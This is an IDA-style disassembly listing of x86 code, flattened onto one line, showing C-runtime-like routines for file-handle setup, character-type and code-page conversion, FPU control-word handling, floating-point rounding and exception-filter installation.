; CODE XREF: sub_41B388+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41B388 endp ; =============== S U B R O U T I N E ======================================= sub_41B3CC proc near ; CODE XREF: sub_415F50+61p ; sub_41A891+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_743640 jb short loc_41B3DB xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B3DB: ; CODE XREF: sub_41B3CC+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_743540[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_41B3CC endp ; =============== S U B R O U T I N E ======================================= sub_41B3F2 proc near ; DATA XREF: .data:0042101Co mov eax, dword_743520 push esi push 14h test eax, eax pop esi jnz short loc_41B406 mov eax, 200h jmp short loc_41B40C ; --------------------------------------------------------------------------- loc_41B406: ; CODE XREF: sub_41B3F2+Bj cmp eax, esi jge short loc_41B411 mov eax, esi loc_41B40C: ; CODE XREF: sub_41B3F2+12j mov dword_743520, eax loc_41B411: ; CODE XREF: sub_41B3F2+16j push 4 push eax call sub_41CA9A pop ecx mov dword_74251C, eax test eax, eax pop ecx jnz short loc_41B445 push 4 push esi mov dword_743520, esi call sub_41CA9A pop ecx mov dword_74251C, eax test eax, eax pop ecx jnz short loc_41B445 push 1Ah call sub_415F07 pop ecx loc_41B445: ; CODE XREF: sub_41B3F2+30j ; sub_41B3F2+49j xor ecx, ecx mov eax, offset off_437EA8 loc_41B44C: ; CODE XREF: sub_41B3F2+6Ej mov edx, dword_74251C mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_438128 jl short loc_41B44C xor edx, edx mov ecx, offset dword_437EB8 loc_41B469: ; CODE XREF: sub_41B3F2+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_743540[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_41B486 test eax, eax jnz short loc_41B489 loc_41B486: ; CODE XREF: sub_41B3F2+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_41B489: ; CODE XREF: sub_41B3F2+92j add ecx, 20h inc edx cmp ecx, offset dword_437F18 jl short loc_41B469 pop esi retn sub_41B3F2 endp ; =============== S U B R O U T I N E ======================================= sub_41B497 proc near ; DATA XREF: .data:0042102Co ; FUNCTION CHUNK AT 0041CB17 SIZE 00000058 BYTES call sub_4198A5 cmp byte_74226C, 0 jz short locret_41B4AA jmp loc_41CB17 ; --------------------------------------------------------------------------- locret_41B4AA: ; CODE XREF: sub_41B497+Cj retn sub_41B497 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B4AB proc near ; CODE XREF: sub_416065+2D4p ; sub_416065+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_41B4B7 pop ebp retn ; --------------------------------------------------------------------------- loc_41B4B7: ; CODE XREF: sub_41B4AB+8j cmp dword_7422B4, 0 jnz short loc_41B4D2 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_41B504 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41B4D2: ; CODE XREF: sub_41B4AB+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_4379BC push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_7422C4 call ds:dword_41F10C ; WideCharToMultiByte test eax, eax jz short loc_41B504 cmp [ebp+arg_0], 0 jz short loc_41B511 loc_41B504: ; CODE XREF: sub_41B4AB+1Ej ; sub_41B4AB+51j mov dword_74222C, 2Ah or eax, 0FFFFFFFFh loc_41B511: ; CODE XREF: sub_41B4AB+57j pop ebp retn sub_41B4AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B513 proc near ; CODE XREF: sub_41686F+5Ep ; sub_41A452+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41FB78 push offset sub_41B124 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_7423F0 xor ebx, ebx cmp eax, ebx jnz short loc_41B582 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_41F868 push esi call ds:dword_41F028 ; GetStringTypeW test eax, eax jz short loc_41B560 mov eax, esi jmp short loc_41B57D ; --------------------------------------------------------------------------- loc_41B560: ; CODE XREF: sub_41B513+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_438A0C push esi push ebx call ds:off_41F02C test eax, eax jz loc_41B648 push 2 pop eax loc_41B57D: ; CODE XREF: sub_41B513+4Bj mov dword_7423F0, eax loc_41B582: ; CODE XREF: sub_41B513+2Fj cmp eax, 2 jnz short loc_41B5AB mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_41B593 mov eax, dword_7422B4 loc_41B593: ; CODE XREF: sub_41B513+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call ds:off_41F02C jmp loc_41B64A ; --------------------------------------------------------------------------- loc_41B5AB: ; CODE XREF: sub_41B513+72j cmp eax, 1 jnz loc_41B648 cmp [ebp+arg_10], ebx jnz short loc_41B5C1 mov eax, dword_7422C4 mov [ebp+arg_10], eax loc_41B5C1: ; CODE XREF: sub_41B513+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call ds:dword_41F110 ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_41B648 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_413E60 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_413890 add esp, 0Ch jmp short loc_41B617 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_41B617: ; CODE XREF: sub_41B513+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_41B648 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call ds:dword_41F110 ; MultiByteToWideChar cmp eax, ebx jz short loc_41B648 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call ds:dword_41F028 ; GetStringTypeW jmp short loc_41B64A ; --------------------------------------------------------------------------- loc_41B648: ; CODE XREF: sub_41B513+61j ; sub_41B513+9Bj ... xor eax, eax loc_41B64A: ; CODE XREF: sub_41B513+93j ; sub_41B513+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41B513 endp ; =============== S U B R O U T I N E ======================================= sub_41B65C proc near ; CODE XREF: sub_417A2F+52p xor eax, eax retn sub_41B65C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B65F proc near ; CODE XREF: sub_41B694+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_41B6AA mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_41B73C pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_41B65F endp ; =============== S U B R O U T I N E ======================================= sub_41B694 proc near ; CODE XREF: sub_417D1B+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_41B65F pop ecx pop ecx retn sub_41B694 endp ; =============== S U B R O U T I N E ======================================= sub_41B6AA proc near ; CODE XREF: sub_41B65F+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_41B6BB push 10h pop eax loc_41B6BB: ; CODE XREF: sub_41B6AA+Cj test bl, 4 jz short loc_41B6C2 or al, 8 loc_41B6C2: ; CODE XREF: sub_41B6AA+14j test bl, 8 jz short loc_41B6C9 or al, 4 loc_41B6C9: ; CODE XREF: sub_41B6AA+1Bj test bl, 10h jz short loc_41B6D0 or al, 2 loc_41B6D0: ; CODE XREF: sub_41B6AA+22j test bl, 20h jz short loc_41B6D7 or al, 1 loc_41B6D7: ; CODE XREF: sub_41B6AA+29j test bl, 2 jz short loc_41B6E1 or eax, 80000h loc_41B6E1: ; CODE XREF: sub_41B6AA+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_41B719 cmp edx, 400h jz short loc_41B716 cmp edx, 800h jz short loc_41B712 cmp edx, esi jnz short loc_41B719 or eax, edi jmp short loc_41B719 ; --------------------------------------------------------------------------- loc_41B712: ; CODE XREF: sub_41B6AA+5Ej or eax, ebp jmp short loc_41B719 ; --------------------------------------------------------------------------- loc_41B716: ; CODE XREF: sub_41B6AA+56j or ah, 1 loc_41B719: ; CODE XREF: sub_41B6AA+4Ej ; sub_41B6AA+62j ... and ecx, edi pop esi jz short loc_41B729 cmp ecx, ebp jnz short loc_41B72E or eax, 10000h jmp short loc_41B72E ; --------------------------------------------------------------------------- loc_41B729: ; CODE XREF: sub_41B6AA+72j or eax, 20000h loc_41B72E: ; CODE XREF: sub_41B6AA+76j ; sub_41B6AA+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_41B73B or eax, 40000h locret_41B73B: ; CODE XREF: sub_41B6AA+8Aj retn sub_41B6AA endp ; =============== S U B R O U T I N E ======================================= sub_41B73C proc near ; CODE XREF: sub_41B65F+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_41B74C push 1 pop eax loc_41B74C: ; CODE XREF: sub_41B73C+Bj test bl, 8 jz short loc_41B753 or al, 4 loc_41B753: ; CODE XREF: sub_41B73C+13j test bl, 4 jz short loc_41B75A or al, 8 loc_41B75A: ; CODE XREF: sub_41B73C+1Aj test bl, 2 jz short loc_41B761 or al, 10h loc_41B761: ; CODE XREF: sub_41B73C+21j test bl, 1 jz short loc_41B768 or al, 20h loc_41B768: ; CODE XREF: sub_41B73C+28j test ebx, 80000h jz short loc_41B772 or al, 2 loc_41B772: ; CODE XREF: sub_41B73C+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_41B79F cmp ecx, 100h jz short loc_41B79C cmp ecx, esi jz short loc_41B797 cmp ecx, edx jnz short loc_41B79F or ah, 0Ch jmp short loc_41B79F ; --------------------------------------------------------------------------- loc_41B797: ; CODE XREF: sub_41B73C+50j or ah, 8 jmp short loc_41B79F ; --------------------------------------------------------------------------- loc_41B79C: ; CODE XREF: sub_41B73C+4Cj or ah, 4 loc_41B79F: ; CODE XREF: sub_41B73C+44j ; sub_41B73C+54j ... mov ecx, ebx and ecx, 30000h jz short loc_41B7B5 cmp ecx, 10000h jnz short loc_41B7B7 or eax, esi jmp short loc_41B7B7 ; --------------------------------------------------------------------------- loc_41B7B5: ; CODE XREF: sub_41B73C+6Bj or eax, edx loc_41B7B7: ; CODE XREF: sub_41B73C+73j ; sub_41B73C+77j pop esi test ebx, 40000h pop ebx jz short locret_41B7C4 or ah, 10h locret_41B7C4: ; CODE XREF: sub_41B73C+83j retn sub_41B73C endp ; =============== S U B R O U T I N E ======================================= sub_41B7C5 proc near ; CODE XREF: sub_41B864+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_41B80A inc esi cmp esi, 3 jge short loc_41B805 lea eax, [eax+esi*4] loc_41B7F7: ; CODE XREF: sub_41B7C5+3Ej cmp dword ptr [eax], 0 jnz short loc_41B80A inc esi add eax, 4 cmp esi, 3 jl short loc_41B7F7 loc_41B805: ; CODE XREF: sub_41B7C5+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_41B80A: ; CODE XREF: sub_41B7C5+27j ; sub_41B7C5+35j xor eax, eax pop esi retn sub_41B7C5 endp ; =============== S U B R O U T I N E ======================================= sub_41B80E proc near ; CODE XREF: sub_41B864+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_41CB6F add esp, 0Ch dec esi js short loc_41B860 lea edi, [ebx+esi*4] loc_41B847: ; CODE XREF: sub_41B80E+50j test eax, eax jz short loc_41B860 push edi push 1 push dword ptr [edi] call sub_41CB6F add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_41B847 loc_41B860: ; CODE XREF: sub_41B80E+34j ; sub_41B80E+3Bj pop edi pop esi pop ebx retn sub_41B80E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B864 proc near ; CODE XREF: sub_41B9BF+81p ; sub_41B9BF+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_41B8C8 inc ebx push ebx push [ebp+arg_0] call sub_41B7C5 pop ecx test eax, eax pop ecx jnz short loc_41B8C5 push edi push [ebp+arg_0] call sub_41B80E pop ecx mov [ebp+var_4], eax pop ecx loc_41B8C5: ; CODE XREF: sub_41B864+51j mov eax, [ebp+arg_4] loc_41B8C8: ; CODE XREF: sub_41B864+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_41B8E8 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_41B8E8: ; CODE XREF: sub_41B864+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41B864 endp ; =============== S U B R O U T I N E ======================================= sub_41B8F0 proc near ; CODE XREF: sub_41B9BF+75p ; sub_41B9BF+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_41B8FE: ; CODE XREF: sub_41B8F0+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_41B8FE pop esi retn sub_41B8F0 endp ; =============== S U B R O U T I N E ======================================= sub_41B90B proc near ; CODE XREF: sub_41B9BF+5Fp ; sub_41B9BF+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_41B90B endp ; =============== S U B R O U T I N E ======================================= sub_41B917 proc near ; CODE XREF: sub_41B9BF+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_41B91D: ; CODE XREF: sub_41B917+12j cmp dword ptr [eax], 0 jnz short loc_41B92F inc ecx add eax, 4 cmp ecx, 3 jl short loc_41B91D push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41B92F: ; CODE XREF: sub_41B917+9j xor eax, eax retn sub_41B917 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B932 proc near ; CODE XREF: sub_41B9BF+C0p ; sub_41B9BF+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_41B968: ; CODE XREF: sub_41B932+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_41B968 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_41B99A: ; CODE XREF: sub_41B932+86j cmp ebx, edi jl short loc_41B9AD mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_41B9B4 ; --------------------------------------------------------------------------- loc_41B9AD: ; CODE XREF: sub_41B932+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_41B9B4: ; CODE XREF: sub_41B932+79j dec ebx sub ecx, 4 jns short loc_41B99A pop edi pop esi pop ebx leave retn sub_41B932 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9BF proc near ; CODE XREF: sub_41BB2B+Dp ; sub_41BB41+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_41BA2C lea eax, [ebp+var_C] xor esi, esi push eax call sub_41B917 test eax, eax pop ecx jnz loc_41BAEB lea eax, [ebp+var_C] push eax call sub_41B90B pop ecx loc_41BA24: ; CODE XREF: sub_41B9BF+E4j push 2 loc_41BA26: ; CODE XREF: sub_41B9BF+110j pop eax jmp loc_41BAED ; --------------------------------------------------------------------------- loc_41BA2C: ; CODE XREF: sub_41B9BF+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_41B8F0 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_41B864 add esp, 10h test eax, eax jz short loc_41BA4D inc ebx loc_41BA4D: ; CODE XREF: sub_41B9BF+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_41BA65 lea eax, [ebp+var_C] push eax call sub_41B90B pop ecx jmp short loc_41BAA1 ; --------------------------------------------------------------------------- loc_41BA65: ; CODE XREF: sub_41B9BF+98j cmp ebx, eax jg short loc_41BAA8 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_41B8F0 lea eax, [ebp+var_C] push esi push eax call sub_41B932 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_41B864 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_41B932 add esp, 20h loc_41BAA1: ; CODE XREF: sub_41B9BF+A4j xor esi, esi jmp loc_41BA24 ; --------------------------------------------------------------------------- loc_41BAA8: ; CODE XREF: sub_41B9BF+A8j cmp ebx, [edi] jl short loc_41BAD4 lea eax, [ebp+var_C] push eax call sub_41B90B push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_41B932 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_41BA26 ; --------------------------------------------------------------------------- loc_41BAD4: ; CODE XREF: sub_41B9BF+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_41B932 pop ecx pop ecx loc_41BAEB: ; CODE XREF: sub_41B9BF+55j xor eax, eax loc_41BAED: ; CODE XREF: sub_41B9BF+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_41BB1C mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_41BB26 ; --------------------------------------------------------------------------- loc_41BB1C: ; CODE XREF: sub_41B9BF+14Ej cmp edi, 20h jnz short loc_41BB26 mov ecx, [ebp+arg_4] mov [ecx], esi loc_41BB26: ; CODE XREF: sub_41B9BF+15Bj ; sub_41B9BF+160j pop edi pop esi pop ebx leave retn sub_41B9BF endp ; =============== S U B R O U T I N E ======================================= sub_41BB2B proc near ; CODE XREF: sub_41BB57+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_438130 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41B9BF add esp, 0Ch retn sub_41BB2B endp ; =============== S U B R O U T I N E ======================================= sub_41BB41 proc near ; CODE XREF: sub_41BB84+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_438148 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41B9BF add esp, 0Ch retn sub_41BB41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB57 proc near ; CODE XREF: sub_417E54+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_41CD10 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41BB2B add esp, 24h leave retn sub_41BB57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB84 proc near ; CODE XREF: sub_417E54+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_41CD10 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41BB41 add esp, 24h leave retn sub_41BB84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBB1 proc near ; CODE XREF: sub_417E92+65p ; sub_417F96+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_41BBEE mov [ebp+arg_0], ebx xor ebx, ebx loc_41BBD4: ; CODE XREF: sub_41BBB1+38j mov dl, [ecx] test dl, dl jz short loc_41BBE0 movsx edx, dl inc ecx jmp short loc_41BBE3 ; --------------------------------------------------------------------------- loc_41BBE0: ; CODE XREF: sub_41BBB1+27j push 30h pop edx loc_41BBE3: ; CODE XREF: sub_41BBB1+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_41BBD4 mov edx, [ebp+arg_8] loc_41BBEE: ; CODE XREF: sub_41BBB1+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_41BC07 cmp byte ptr [ecx], 35h jl short loc_41BC07 loc_41BBFA: ; CODE XREF: sub_41BBB1+52j dec eax cmp byte ptr [eax], 39h jnz short loc_41BC05 mov byte ptr [eax], 30h jmp short loc_41BBFA ; --------------------------------------------------------------------------- loc_41BC05: ; CODE XREF: sub_41BBB1+4Dj inc byte ptr [eax] loc_41BC07: ; CODE XREF: sub_41BBB1+42j ; sub_41BBB1+47j cmp byte ptr [esi], 31h jnz short loc_41BC11 inc dword ptr [edx+4] jmp short loc_41BC23 ; --------------------------------------------------------------------------- loc_41BC11: ; CODE XREF: sub_41BBB1+59j push edi call sub_413E90 inc eax push eax push edi push esi call sub_4145D0 add esp, 10h loc_41BC23: ; CODE XREF: sub_41BBB1+5Ej pop edi pop esi pop ebx pop ebp retn sub_41BBB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BC28 proc near ; CODE XREF: sub_417E92+3Fp ; sub_417F96+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_41BC8C pop ecx lea esi, [ebp+var_C] pop ecx push offset word_7423F8 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_41D1E1 mov dword_742420, eax add esp, 18h movsx eax, byte_7423FA mov dword_742418, eax pop edi movsx eax, word_7423F8 mov dword_74241C, eax mov dword_742424, offset dword_7423FC mov eax, offset dword_742418 pop esi leave retn sub_41BC28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BC8C proc near ; CODE XREF: sub_41BC28+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_41BCDA cmp ebx, edi jz short loc_41BCD3 lea edi, [ecx+3C00h] jmp short loc_41BCFB ; --------------------------------------------------------------------------- loc_41BCD3: ; CODE XREF: sub_41BC8C+3Dj mov edi, 7FFFh jmp short loc_41BCFB ; --------------------------------------------------------------------------- loc_41BCDA: ; CODE XREF: sub_41BC8C+39j xor ebx, ebx cmp eax, ebx jnz short loc_41BCF2 cmp edx, ebx jnz short loc_41BCF2 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_41BD3D ; --------------------------------------------------------------------------- loc_41BCF2: ; CODE XREF: sub_41BC8C+52j ; sub_41BC8C+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_41BCFB: ; CODE XREF: sub_41BC8C+45j ; sub_41BC8C+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_41BD13: ; CODE XREF: sub_41BC8C+A6j test ecx, esi jnz short loc_41BD34 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_41BD13 ; --------------------------------------------------------------------------- loc_41BD34: ; CODE XREF: sub_41BC8C+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_41BD3D: ; CODE XREF: sub_41BC8C+64j pop edi pop esi pop ebx leave retn sub_41BC8C endp ; --------------------------------------------------------------------------- push 2 call sub_415F07 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_41BD4B proc near ; DATA XREF: sub_41BD91o ; .data:00437B00o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_41BD6E cmp dword ptr [eax+10h], 3 jnz short loc_41BD6E cmp dword ptr [eax+14h], 19930520h jnz short loc_41BD6E jmp sub_418A1C ; --------------------------------------------------------------------------- loc_41BD6E: ; CODE XREF: sub_41BD4B+Dj ; sub_41BD4B+13j ... mov eax, dword_742428 test eax, eax jz short loc_41BD8B push eax call sub_41BDE7 test eax, eax pop ecx jz short loc_41BD8B push esi call dword_742428 jmp short loc_41BD8D ; --------------------------------------------------------------------------- loc_41BD8B: ; CODE XREF: sub_41BD4B+2Aj ; sub_41BD4B+35j xor eax, eax loc_41BD8D: ; CODE XREF: sub_41BD4B+3Ej pop esi retn 4 sub_41BD4B endp ; =============== S U B R O U T I N E ======================================= sub_41BD91 proc near ; DATA XREF: .data:00421020o push offset sub_41BD4B call ds:dword_41F024 ; SetUnhandledExceptionFilter mov dword_742428, eax retn sub_41BD91 endp ; =============== S U B R O U T I N E ======================================= sub_41BDA2 proc near ; DATA XREF: .data:00421038o push dword_742428 call ds:dword_41F024 ; SetUnhandledExceptionFilter retn sub_41BDA2 endp ; =============== S U B R O U T I N E ======================================= 